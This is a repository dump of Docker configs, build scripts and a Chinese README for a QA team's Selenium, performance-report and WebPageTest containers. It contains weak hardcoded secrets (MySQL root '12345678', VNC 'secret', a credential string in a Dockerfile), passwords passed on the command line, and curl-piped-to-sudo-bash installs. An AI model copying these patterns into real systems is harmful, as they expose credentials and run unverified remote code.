"5901:5900" 10 | volumes: 11 | - /dev/shm:/dev/shm 12 | ulimits: 13 | core: 0 14 | baike-8802: 15 | container_name: baike-8802 16 | image: docker.qadev.com/uts/chrome:3.141.0 17 | restart: always 18 | ports: 19 | - "8802:4444" 20 | - "5902:5900" 21 | volumes: 22 | - /dev/shm:/dev/shm 23 | ulimits: 24 | core: 0 25 | baike-8803: 26 | container_name: baike-8803 27 | image: docker.qadev.com/uts/chrome:3.141.0 28 | restart: always 29 | ports: 30 | - "8803:4444" 31 | - "5903:5900" 32 | volumes: 33 | - /dev/shm:/dev/shm 34 | ulimits: 35 | core: 0 36 | baike-8804: 37 | container_name: baike-8804 38 | image: docker.qadev.com/uts/chrome:3.141.0 39 | restart: always 40 | ports: 41 | - "8804:4444" 42 | - "5904:5900" 43 | volumes: 44 | - /dev/shm:/dev/shm 45 | ulimits: 46 | core: 0 47 | baike-8805: 48 | container_name: baike-8805 49 | image: docker.qadev.com/uts/chrome:3.141.0 50 | restart: always 51 | ports: 52 | - "8805:4444" 53 | - "5905:5900" 54 | volumes: 55 | - /dev/shm:/dev/shm 56 | ulimits: 57 | core: 0 58 | baike-8806: 59 | container_name: baike-8806 60 | image: docker.qadev.com/uts/chrome:3.141.0 61 | restart: always 62 | ports: 63 | - "8806:4444" 64 | - "5906:5900" 65 | volumes: 66 | - /dev/shm:/dev/shm 67 | logging: 68 | driver: "json-file" 69 | options: 70 | max-size: "100m" 71 | max-file: "1" 72 | ulimits: 73 | core: 0 74 | baike-8807: 75 | container_name: baike-8807 76 | image: docker.qadev.com/uts/chrome:3.141.0 77 | restart: always 78 | ports: 79 | - "8807:4444" 80 | - "5907:5900" 81 | volumes: 82 | - /dev/shm:/dev/shm 83 | logging: 84 | driver: "json-file" 85 | options: 86 | max-size: "100m" 87 | max-file: "1" 88 | ulimits: 89 | core: 0 -------------------------------------------------------------------------------- /docker/Dockerfile/node-work/readme-vnc.md: -------------------------------------------------------------------------------- 1 | # docker化chrome浏览器提供服务给uts平台,用于执行ui自动化用例 2 | 3 | * docker服务所在的宿主机是: `A` (目前根据机器性能大概能够支持10-20个容器) 4 | * 现在docker支持web和wap两种模式的用例运行 5 | 6 | ### 服务列表(docker管理的容器,可随时申请新的,有需要联系文涛) 7 | 8 | 主IP是: `A` 9 | 10 | *.部署任务和调试的时候注意别填错了 11 | 12 | 13 | |项目| 容器名 | 宿主机IP | Selenium端口 | VNC视图端口 | 备注 | 14 | | :------------: | :------------: | :------------: | :------------: | :------------: | :------------: | 15 | |略懂| luedong-chrome | `A` | 7979 | 5902 |线上环境UTS| 16 | 17 | 这里容器的使用(跑线上、调试、跑测试环境用例),最好是自己使用自己的,虽然现在没有发现共用会有什么样的问题,但是为了避免,建议各自分开; 18 | 19 | ## 如何查看docker运行用例的过程? 20 | 21 | docker容器中安装了VNC and Xvfb,用于观测其中的界面情况,所以你可以通过以下操作来访问页面 22 | 23 | 1. 下载vnc软件 [VNC Viewer](https://www.realvnc.com/en/connect/trial/),这个软件是收费的,破解版另行qadev,我们只需要安装viewer就行了,server不需要 24 | 2. 点击VNC Viewer应用,弹出界面,输入服务器ip和对应docker的视图端口`A:5904` 25 | 3. 创建好后,在面板中右键单击你所创建的连接,点击`connect`, 所有密码都是`secret` 26 | 4. 点击确定,就可以登录,进入到界面里,你可以像操作window一样操作,但是功能有限,建议不要随意操作,chrome也支持F12,但是没法像window一样点击图标打开应用 -------------------------------------------------------------------------------- /docker/Dockerfile/performance/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/performance/.DS_Store -------------------------------------------------------------------------------- /docker/Dockerfile/performance/README.md: -------------------------------------------------------------------------------- 1 | report-docker 说明文档 2 | ==================== 3 | >1.performance_report 4 | >>(1)启动办法 sh deploy.sh 【主要是为了设置host_ip】
5 | > 6 | >>(2)performance_report中的代码通过git下载后部署,container创建完成后可以直接到内部修改、更新代码
7 | > 8 | >>(3)下载的数据文件存储在/data/performance_report_data/文件夹中,请一定不要删除该文件夹,否则所有测试记录将被删除
9 | > 10 | -------------------- 11 | 12 | >2.mysql 13 | >>(1)使用docker-compose启动 14 | > 15 | -------------------- 16 | 17 | >3.performance_ana 18 | >>(1)使用docker-compose启动
19 | > 20 | -------------------- -------------------------------------------------------------------------------- /docker/Dockerfile/performance/deploy.sh: -------------------------------------------------------------------------------- 1 | if [ ! $# == 1 ];then 2 | echo "Usage: sh $0 image(eg:docker.qadev.com/jayzhen/docker_report:v3)" 3 | exit 4 | else 5 | image=$1 6 | 7 | echo 'start deploy' 8 | 9 | host=`ifconfig|grep inet|grep -v 127.0.0.1|grep -v inet6|grep -v '172.'|awk '{print $2}'|head -n 1` 10 | echo 'get host:'$host 11 | workpath=`pwd` 12 | sed -i "s#host_ip#$host#g" $workpath/performance_report/start.sh 13 | echo 'change host config to '$host 14 | 15 | cd $workpath/performance_report 16 | sed -i "s#docker.qadev.com/jayzhen/docker_report:.*#${image}#" docker-compose.yml 17 | echo 'change image to '${image} 18 | 19 | docker stop performance_report 20 | docker rm performance_report 21 | docker-compose up -d 22 | 23 | #sed -i "s#$host#host_ip#g" $workpath/performance_report/start.sh 24 | #echo 'change host config to 127.0.0.1' 25 | echo 'end' 26 | fi 27 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/deploy_analyze.sh: -------------------------------------------------------------------------------- 1 | if [ ! $# == 1 ];then 2 | echo "Usage: sh $0 image(eg:docker.qadev.com/jayzhen/docker_ana:v3.1)" 3 | exit 4 | else 5 | image=$1 6 | echo 'start deploy ana' 7 | workpath=`pwd` 8 | cd $workpath/performance_ana 9 | sed -i "s#docker.qadev.com/jayzhen/docker_ana:.*#${image}#" docker-compose.yml 10 | docker stop performance_logana 11 | docker rm performance_logana 12 | docker-compose up -d 13 | echo 'end' 14 | fi 15 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | report_mysql: 4 | image: docker.qadev.com/jayzhen/mysql:5.7.24 5 | container_name: report_mysql 6 | volumes: 7 | - /data/performance_report_mysql/:/var/lib/mysql/ 8 | - /data/performance_report_mysql/mysqld.cnf:/etc/mysql/mysql.conf.d/mysqld.cnf 9 | restart: always 10 | command: --default-authentication-plugin=mysql_native_password 11 | environment: 12 | MYSQL_ROOT_PASSWORD: '12345678' 13 | ports: 14 | - 3307:3306 15 | networks: 16 | - default 17 | tty: true 18 | stdin_open: true 19 | performance_report: 20 | image: docker.qadev.com/jayzhen/docker_report:v5.3 21 | container_name: performance_report 22 | volumes: 23 | - /data/performance_report_data:/data/daemon/public/files 24 | - /data/jayzhen/docker-compose-file/report-docker/performance_report/start.sh:/data/daemon/performance_report/start.sh 25 | - /data/jayzhen/docker-compose-file/report-docker/performance_report/config.js:/data/daemon/performance_report/config/config.js 26 | restart: always 27 | ports: 28 | - 3334:3334 29 | entrypoint: 30 | - /bin/bash 31 | tty: true 32 | stdin_open: true 33 | command: 34 | - start.sh 35 | depends_on: 36 | - report_mysql 37 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/installdocker.sh: -------------------------------------------------------------------------------- 1 | sudo yum install docker-ce-18.03.1.ce-1.el7.centos.x86_64.rpm 2 | sudo systemctl start docker 3 | yum -y install python2-pip 4 | pip install docker-compose 5 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/mysql/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | report_mysql: 4 | image: mysql:5.7 5 | container_name: report_mysql 6 | volumes: 7 | - /data/performance_report_mysql/:/var/lib/mysql/ 8 | - /data/performance_report_mysql/mysqld.cnf:/etc/mysql/mysql.conf.d/mysqld.cnf 9 | restart: always 10 | command: --default-authentication-plugin=mysql_native_password 11 | environment: 12 | MYSQL_ROOT_PASSWORD: '12345678' 13 | ports: 14 | - 3306:3306 15 | networks: 16 | - default 17 | tty: true 18 | stdin_open: true 19 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-analyze/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/performance/performance-analyze/.DS_Store -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-analyze/buildimages/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM centos:7.2.1511 2 | 3 | # Install packages 4 | RUN yum install -y rsyslog wget redhat-lsb rsync git mysql mysql-devel\ 5 | && wget http://docker.qadev.com/jayzhen/scripts/raw/master/hadoop/install/install.sh \ 6 | && sh install.sh sunshine-js\ 7 | && wget http://cloud.qadev-inc.com/downloads/hadoop-sunshine-js.tar.gz \ 8 | && mkdir -p /usr/local/hadoop\ 9 | && tar zxvf hadoop-sunshine-js.tar.gz -C /usr/local/hadoop\ 10 | && echo "web_qa01,ed80f761cb8185aa60b6785f7d656c79">~/ugi_config \ 11 | && rm -f hadoop-sunshine-js.tar.gz \ 12 | && wget http://d.qadev/download/hadoop/conf/SunshineJS-2.6.0.tar.gz \ 13 | && tar zxvf SunshineJS-2.6.0.tar.gz \ 14 | && mkdir -p /usr/local/gohdfs/ \ 15 | && mv SunshineJS-2.6.0/gohdfs/SunshineJS /usr/local/gohdfs/SunshineJS \ 16 | && rm -rf SunshineJS-2.6.0 SunshineJS-2.6.0.tar.gz \ 17 | && sed -i "s#/usr/lib/jvm/java#/usr/local/hadoop/sunshine/java#g" /etc/hadoop/conf/hadoop-env.sh \ 18 | && mkdir -p /data/daemon \ 19 | && git clone -b log_monitor https://git.qadev.com/jayzhen/report-docker.git /data/daemon/ \ 20 | && echo -e "* * * * * sh /data/daemon/start.sh > /dev/null 2>&1" >>crontab.tmp \ 21 | && crontab crontab.tmp \ 22 | && rm -f crontab.tmp 23 | 24 | # Add nodefile to the Path 25 | WORKDIR /data/daemon/ 26 | ENV LANG=C.UTF-8 27 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-analyze/buildimages/build.sh: -------------------------------------------------------------------------------- 1 | if [ ! $# == 3 ];then 2 | echo "Usage: sh $0 num user pw" 3 | exit 4 | else 5 | num=$1 6 | user=$2 7 | pw=$3 8 | docker build --no-cache -t docker-ana:v${num} . 9 | docker tag docker-ana:v${num} docker.qadev.com/jayzhen/docker_ana:v${num} 10 | docker login -u $user -p $pw docker.qadev.com 11 | sudo docker push docker.qadev.com/jayzhen/docker_ana:v${num} 12 | fi 13 | 14 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-analyze/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | performance_logana: 4 | image: docker.qadev.com/jayzhen/docker_ana:v6 5 | container_name: performance_logana 6 | restart: always 7 | privileged: true 8 | entrypoint: 9 | - /usr/sbin/init 10 | tty: true 11 | volumes: 12 | - /etc/localtime:/etc/localtime 13 | - /data/jayzhen/docker-compose-file/report-docker/performance_ana/cache:/data/daemon/cache 14 | stdin_open: true 15 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-report/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/performance/performance-report/.DS_Store -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-report/buildbaseimages/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:13-alpine 2 | 3 | # Install packages 4 | RUN apk update \ 5 | && apk upgrade \ 6 | && apk add --update git nodejs nodejs-npm python py-pip sshpass bash bc pkgconfig pixman pixman-dev cairo cairo-dev pango pango-dev jpeg jpeg-dev giflib giflib-dev libpng libpng-dev make g++ tzdata font-adobe-100dpi ttf-dejavu fontconfig \ 7 | && apk add --no-cache openssh \ 8 | && rm -rf /var/cache/apk/* \ 9 | && ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime \ 10 | && echo "Asia/Shanghai" > /etc/timezone \ 11 | && npm config set unsafe-perm true \ 12 | && npm install -g pm2 \ 13 | && pip install requests 14 | 15 | COPY simsun.ttc /usr/share/fonts/win/ 16 | ENV NPM_CONFIG_LOGLEVEL info 17 | 18 | RUN chmod 777 /usr/share/fonts/win/simsun.ttc \ 19 | && fc-cache -f \ 20 | && fc-list 21 | 22 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-report/buildbaseimages/build.sh: -------------------------------------------------------------------------------- 1 | if [ ! $# == 3 ];then 2 | echo "Usage: sh $0 num user pw" 3 | exit 4 | else 5 | num=$1 6 | user=$2 7 | pw=$3 8 | docker build --no-cache -t docker-report:v${num} . 9 | docker tag docker-report:v${num} docker.qadev.com/jayzhen/node13-alpine:v${num} 10 | docker login -u $user -p $pw docker.qadev.com 11 | sudo docker push docker.qadev.com/jayzhen/node13-alpine:v${num} 12 | fi 13 | 14 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-report/buildbaseimages/simsun.ttc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/performance/performance-report/buildbaseimages/simsun.ttc -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-report/buildimages/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM docker.qadev.com/jayzhen/node13-alpine:v1 2 | 3 | # Install packages 4 | RUN echo "0 1 * * * sh /data/daemon/performance_report/clear.sh >> /search/clearlog &" >> /var/spool/cron/crontabs/root \ 5 | && echo "* * * * * sh /data/daemon/performance_report/shell_sql.sh > /search/log &" >> /var/spool/cron/crontabs/root 6 | 7 | # Add nodefile to the Path 8 | #WORKDIR /data/daemon 9 | ENV NPM_CONFIG_LOGLEVEL info 10 | 11 | RUN git clone -b performance_report https://git.qadev.com/jayzhen/report-docker.git /data/daemon/ \ 12 | && cd /data/daemon/performance_report \ 13 | && npm install 14 | 15 | WORKDIR /data/daemon/performance_report 16 | 17 | 18 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-report/buildimages/build.sh: -------------------------------------------------------------------------------- 1 | if [ ! $# == 3 ];then 2 | echo "Usage: sh $0 num user pw" 3 | exit 4 | else 5 | num=$1 6 | user=$2 7 | pw=$3 8 | docker build --no-cache -t docker-report:v${num} . 9 | docker tag docker-report:v${num} docker.qadev.com/jayzhen/docker_report:v${num} 10 | docker login -u $user -p $pw docker.qadev.com 11 | sudo docker push docker.qadev.com/jayzhen/docker_report:v${num} 12 | fi 13 | 14 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-report/buildimages/simsun.ttc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/performance/performance-report/buildimages/simsun.ttc -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-report/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | performance_report: 4 | image: docker.qadev.com/jayzhen/docker_report:v5.3 5 | container_name: performance_report 6 | volumes: 7 | - /data/performance_report_data:/data/daemon/public/files 8 | - /data/jayzhen/docker-compose-file/report-docker/performance_report/start.sh:/data/daemon/performance_report/start.sh 9 | - /data/jayzhen/docker-compose-file/report-docker/performance_report/config.js:/data/daemon/performance_report/config/config.js 10 | restart: always 11 | ports: 12 | - 3334:3334 13 | entrypoint: 14 | - /bin/bash 15 | tty: true 16 | stdin_open: true 17 | command: 18 | - start.sh 19 | -------------------------------------------------------------------------------- /docker/Dockerfile/performance/performance-report/start.sh: -------------------------------------------------------------------------------- 1 | #sed -i "s#127.0.0.1#10.1.1.1#g" /data/daemon/performance_report/config/config.js 2 | cd /data/daemon/performance_report/ 3 | mv -f public/files/* /data/daemon/public/files 4 | rm -rf public/files 5 | ln -s /data/daemon/public/files public/files 6 | #ln -s /data/daemon/result_tmp . 7 | #ln -s /data/daemon/result_tmp2 . 8 | pgrep node | xargs kill -9 9 | crond 10 | nohup pm2 start --no-daemon app.js -i 10& 11 | tail -f nohup.out 12 | -------------------------------------------------------------------------------- /docker/Dockerfile/qa-platform/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/gitjayzhen/ShellRepository/ccb5cbb5593c541b165bb7b07db6c258dcb6a655/docker/Dockerfile/qa-platform/.DS_Store -------------------------------------------------------------------------------- /docker/Dockerfile/qa-platform/buildbaseimages/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM docker.qadev.com/jayzhen/node13-alpine:v1 2 | 3 | # Install packages 4 | RUN apk update \ 5 | && apk upgrade \ 6 | && apk add --update curl subversion libxml2 libxml2-dev libxslt libxslt-dev libc-dev gcc python-dev \ 7 | && apk add --no-cache openssh 8 | -------------------------------------------------------------------------------- /docker/Dockerfile/qa-platform/buildbaseimages/build.sh: -------------------------------------------------------------------------------- 1 | if [ ! $# == 3 ];then 2 | echo "Usage: sh $0 num user pw" 3 | exit 4 | else 5 | num=$1 6 | user=$2 7 | pw=$3 8 | docker build --no-cache -t docker-report:v${num} . 9 | docker tag docker-report:v${num} docker.qadev.com/jayzhen/node13-alpine:v${num} 10 | docker login -u $user -p $pw docker.qadev.com 11 | sudo docker push docker.qadev.com/jayzhen/node13-alpine:v${num} 12 | fi 13 | 14 | -------------------------------------------------------------------------------- /docker/Dockerfile/qa-platform/buildimages/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM docker.qadev.com/jayzhen/node13-alpine:v2 2 | 3 | WORKDIR /data/daemon 4 | 5 | RUN git clone https://myuser:mypwd@git.qadev.com/searchqa/team/background/bg_platform/backendQC/qa_platform_code.git /data/daemon/ \ 6 | && npm install \ 7 | && pip install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple 8 | -------------------------------------------------------------------------------- /docker/Dockerfile/qa-platform/buildimages/build.sh: -------------------------------------------------------------------------------- 1 | if [ ! $# == 3 ];then 2 | echo "Usage: sh $0 num user pw" 3 | exit 4 | else 5 | num=$1 6 | user=$2 7 | pw=$3 8 | sed -i "s#myuser#${user}#" Dockerfile 9 | sed -i "s#mypwd#${pw}#" Dockerfile 10 | docker build --no-cache -t docker_qa_platform:v${num} . 11 | sed -i "s#${user}#myuser#" Dockerfile 12 | sed -i "s#${pw}#mypwd#" Dockerfile 13 | docker tag docker_qa_platform:v${num} docker.qadev.com/jayzhen/docker_qa_platform:v${num} 14 | docker login -u $user -p $pw docker.qadev.com 15 | sudo docker push docker.qadev.com/jayzhen/docker_qa_platform:v${num} 16 | fi 17 | 18 | -------------------------------------------------------------------------------- /docker/Dockerfile/qa-platform/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | qa_platform_mysql: 4 | image: docker.qadev.com/jayzhen/mysql:5.7.24 5 | container_name: qa_platform_mysql 6 | volumes: 7 | - /data/qa_platform_mysql/:/var/lib/mysql/ 8 | - ./mysqld.cnf:/etc/mysql/mysql.conf.d/mysqld.cnf 9 | restart: always 10 | command: --default-authentication-plugin=mysql_native_password 11 | environment: 12 | MYSQL_ROOT_PASSWORD: '12345678' 13 | ports: 14 | - 3306:3306 15 | qa_platform: 16 | image: docker.qadev.com/jayzhen/docker_qa_platform:vnum 17 | container_name: qa_platform 18 | volumes: 19 | - /data/qa_platform_publictools/:/data/daemon/publictools/ 20 | - /data/qa_platform_publicdiff/:/data/daemon/publicdiff/ 21 | - /data/qa_platform_publicemail/:/data/daemon/public/email/ 22 | - /data/qa_platform_publicupload/:/data/daemon/public/upload/ 23 | restart: always 24 | ports: 25 | - 3333:3333 26 | entrypoint: "node app.js" 27 | depends_on: 28 | - qa_platform_mysql 29 | -------------------------------------------------------------------------------- /docker/Dockerfile/qa-platform/mysqld.cnf: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2014, 2016, Oracle and/or its affiliates. All rights reserved. 2 | # 3 | # This program is free software; you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License, version 2.0, 5 | # as published by the Free Software Foundation. 6 | # 7 | # This program is also distributed with certain software (including 8 | # but not limited to OpenSSL) that is licensed under separate terms, 9 | # as designated in a particular file or component or in included license 10 | # documentation. The authors of MySQL hereby grant you an additional 11 | # permission to link the program and your derivative works with the 12 | # separately licensed software that they have included with MySQL. 13 | # 14 | # This program is distributed in the hope that it will be useful, 15 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 16 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 17 | # GNU General Public License, version 2.0, for more details. 18 | # 19 | # You should have received a copy of the GNU General Public License 20 | # along with this program; if not, write to the Free Software 21 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 22 | 23 | # 24 | # The MySQL Server configuration file. 25 | # 26 | # For explanations see 27 | # http://dev.mysql.com/doc/mysql/en/server-system-variables.html 28 | 29 | [mysqld] 30 | pid-file = /var/run/mysqld/mysqld.pid 31 | socket = /var/run/mysqld/mysqld.sock 32 | datadir = /var/lib/mysql 33 | #log-error = /var/log/mysql/error.log 34 | # By default we only accept connections from localhost 35 | #bind-address = 127.0.0.1 36 | # Disabling symbolic-links is recommended to prevent assorted security risks 37 | symbolic-links=0 38 | sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION 39 | 40 | -------------------------------------------------------------------------------- /docker/Dockerfile/qa-platform/nginx-backendQc.conf: -------------------------------------------------------------------------------- 1 | working_directory /data/nginx/core; 2 | worker_rlimit_core 2G; 3 | #user nobody; 4 | worker_processes 1; 5 | 6 | error_log logs_link/error.log; 7 | #error_log logs/error.log notice; 8 | #error_log logs/error.log info; 9 | 10 | pid logs/nginx.pid; 11 | 12 | 13 | events { 14 | worker_connections 1024; 15 | } 16 | 17 | 18 | http { 19 | include mime.types; 20 | default_type application/octet-stream; 21 | client_max_body_size 100m; 22 | 23 | log_format main '$remote_addr - $remote_user [$time_local] "$request" ' 24 | '$status $body_bytes_sent "$http_referer" ' 25 | '"$http_user_agent" "$http_x_forwarded_for" "$request_time" "$upstream_response_time" "$upstream_addr"'; 26 | 27 | #log_format mini '$time_local $status $body_bytes_sent $request_time $upstream_cache_status $server_name'; 28 | 29 | access_log logs_link/access.log main; 30 | #access_log logs_link/status_log mini; 31 | sendfile on; 32 | #tcp_nopush on; 33 | 34 | #keepalive_timeout 0; 35 | keepalive_timeout 65; 36 | 37 | #gzip on; 38 | upstream tornados 39 | { 40 | server 10.1.1.1:3333; 41 | } 42 | proxy_next_upstream error; 43 | 44 | server { 45 | listen 80; 46 | server_name 10.1.1.1; 47 | 48 | #charset koi8-r; 49 | 50 | #access_log logs/host.access.log main; 51 | #location /static/{ 52 | # alias /data1/work/TodayBuzzServer/TodayBuzzServer/static/; 53 | # expires 24h; 54 | #} 55 | 56 | location / { 57 | proxy_pass_header Server; 58 | proxy_set_header Host $http_host; 59 | proxy_redirect off; 60 | proxy_set_header X-Real-IP $remote_addr; 61 | 62 | proxy_pass http://tornados; 63 | } 64 | 65 | # 66 | error_page 500 502 503 504 /50x.html; 67 | location = /50x.html { 68 | root html; 69 | } 70 | 71 | } 72 | include vhosts/*.conf; 73 | } 74 | -------------------------------------------------------------------------------- /docker/Dockerfile/uts/.mavenrc: -------------------------------------------------------------------------------- 1 | # source ~/.mavenrc -> mvn clean install 使用 2 | # 作为docker轻应用使用:用后删除 3 | mvn() { 4 | docker run --rm \ 5 | --name my-mvn \ 6 | -v $(pwd):/project \ 7 | -v /data/.m2:/root/.m2 \ 8 | -w /project \ 9 | maven:3.6.3-jdk-8 \ 10 | mvn $* 11 | } -------------------------------------------------------------------------------- /docker/Dockerfile/uts/uts-service: -------------------------------------------------------------------------------- 1 | FROM tomcat:8.5.59-jdk8-openjdk-slim-buster 2 | 3 | # 标记 4 | LABEL maintainer="jayzhen@qadev-inc.com" 5 | LABEL use-for="utsaap" 6 | LABEL version="uts-service" 7 | 8 | # 将build的包配置到image中 9 | ENV BASE_DIR /usr/local/tomcat 10 | COPY ./utsaap-service/target/utsaap-service.war $BASE_DIR/webapps/ROOT.war 11 | 12 | ENV wDir /uts/screenshots 13 | RUN mkdir -p "$wDir" 14 | WORKDIR $wDir -------------------------------------------------------------------------------- /docker/Dockerfile/uts/uts-shadow: -------------------------------------------------------------------------------- 1 | FROM tomcat:8.5.59-jdk8-openjdk-slim-buster 2 | 3 | # 标记 4 | LABEL maintainer="jayzhen@qadev-inc.com" 5 | LABEL use-for="utsaap" 6 | LABEL version="uts-shadow" 7 | 8 | # 将build的包配置到image中 9 | ENV BASE_DIR /usr/local/tomcat 10 | COPY ./utsaap-shadow/target/utsaap-shadow.war $BASE_DIR/webapps/ROOT.war 11 | 12 | ENV wDir /uts/screenshots 13 | RUN mkdir -p "$wDir" 14 | WORKDIR $wDir -------------------------------------------------------------------------------- /docker/Dockerfile/uts/uts-webapp: -------------------------------------------------------------------------------- 1 | FROM tomcat:8.5.59-jdk8-openjdk-slim-buster 2 | 3 | # 标记 4 | LABEL maintainer="jayzhen@qadev-inc.com" 5 | LABEL use-for="utsaap" 6 | LABEL version="uts-webapp" 7 | 8 | # 将build的包配置到image中 9 | ENV BASE_DIR /usr/local/tomcat 10 | COPY ./utsaap-web/target/utsaap-web.war $BASE_DIR/webapps/ROOT.war -------------------------------------------------------------------------------- /docker/Dockerfile/wpt/wpt-agent: -------------------------------------------------------------------------------- 1 | # FROM debian:jessie-slim 2 | FROM ubuntu:18.04 3 | 4 | RUN apt-get update && \ 5 | apt-get install -y \ 6 | wget \ 7 | curl \ 8 | git \ 9 | python \ 10 | python-pip \ 11 | python-ujson \ 12 | xvfb \ 13 | imagemagick \ 14 | python-dev \ 15 | zlib1g-dev \ 16 | libjpeg-dev \ 17 | psmisc \ 18 | dbus-x11 \ 19 | sudo \ 20 | kmod \ 21 | ffmpeg \ 22 | net-tools \ 23 | tcpdump \ 24 | traceroute \ 25 | bind9utils \ 26 | libnss3-tools \ 27 | iproute2 \ 28 | software-properties-common && \ 29 | # Node setup 30 | curl -sL https://deb.nodesource.com/setup_12.x | sudo -E bash - && \ 31 | wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add - && \ 32 | wget -qO- https://deb.opera.com/archive.key | apt-key add - && \ 33 | echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list && \ 34 | # Set repos 35 | add-apt-repository -y ppa:ubuntu-mozilla-daily/ppa && \ 36 | add-apt-repository -y 'deb https://deb.opera.com/opera-stable/ stable non-free' && \ 37 | add-apt-repository -y 'deb https://deb.opera.com/opera-beta/ stable non-free' && \ 38 | add-apt-repository -y 'deb https://deb.opera.com/opera-developer/ stable non-free' && \ 39 | # Install browsers 40 | apt-get update && \ 41 | DEBIAN_FRONTEND=noninteractive apt-get install -yq \ 42 | google-chrome-stable \ 43 | google-chrome-beta \ 44 | google-chrome-unstable \ 45 | firefox \ 46 | firefox-trunk \ 47 | firefox-geckodriver \ 48 | opera-stable \ 49 | opera-beta \ 50 | opera-developer \ 51 | nodejs && \ 52 | # Get fonts 53 | echo ttf-mscorefonts-installer msttcorefonts/accepted-mscorefonts-eula select true | sudo debconf-set-selections && \ 54 | sudo DEBIAN_FRONTEND=noninteractive apt-get -y install ttf-mscorefonts-installer fonts-noto* && \ 55 | sudo fc-cache -f -v && \ 56 | # Cleaup to save space in layer 57 | sudo apt-get clean && \ 58 | # Install lighthouse 59 | npm install -g lighthouse && \ 60 | # Install other utilities 61 | pip install \ 62 | dnspython \ 63 | monotonic \ 64 | pillow \ 65 | psutil \ 66 | requests \ 67 | tornado \ 68 | wsaccel \ 69 | xvfbwrapper \ 70 | brotli \ 71 | 'fonttools>=3.44.0,<4.0.0' \ 72 | marionette_driver \ 73 | selenium \ 74 | future 75 | 76 | COPY wptagent.py /wptagent/wptagent.py 77 | COPY internal /wptagent/internal 78 | COPY ws4py /wptagent/ws4py 79 | COPY docker/linux-headless/entrypoint.sh /wptagent/entrypoint.sh 80 | 81 | WORKDIR /wptagent 82 | 83 | CMD ["/bin/bash", "/wptagent/entrypoint.sh"] -------------------------------------------------------------------------------- /docker/Dockerfile/wpt/wpt-server: -------------------------------------------------------------------------------- 1 | FROM php:5.6-apache 2 | MAINTAINER iteratec WPT Team 3 | 4 | RUN apt-get update && \ 5 | DEBIAN_FRONTEND=noninteractive apt-get install -q -y --allow-unauthenticated \ 6 | imagemagick \ 7 | libjpeg-progs \ 8 | exiftool \ 9 | unzip \ 10 | wget \ 11 | libfreetype6-dev \ 12 | libjpeg62-turbo-dev \ 13 | libpng-dev \ 14 | libcurl4-openssl-dev \ 15 | python \ 16 | python-pillow \ 17 | cron \ 18 | beanstalkd \ 19 | supervisor && \ 20 | \ 21 | DEBIAN_FRONTEND=noninteractive apt-get install -q -y --allow-downgrades --allow-change-held-packages \ 22 | ffmpeg && \ 23 | apt-get clean && \ 24 | apt-get autoclean 25 | 26 | RUN docker-php-ext-configure gd --with-freetype-dir=/usr/include/ --with-jpeg-dir=/usr/include/ && \ 27 | docker-php-ext-install gd && \ 28 | docker-php-ext-install zip && \ 29 | docker-php-ext-install curl && \ 30 | a2enmod expires headers rewrite 31 | 32 | RUN apt-get install -y libmagickwand-6.q16-dev --no-install-recommends && \ 33 | ln -s /usr/lib/x86_64-linux-gnu/ImageMagick-6.8.9/bin-Q16/MagickWand-config /usr/bin && \ 34 | pecl install imagick && \ 35 | echo "extension=imagick.so" > /usr/local/etc/php/conf.d/ext-imagick.ini 36 | 37 | COPY www /var/www/html 38 | 39 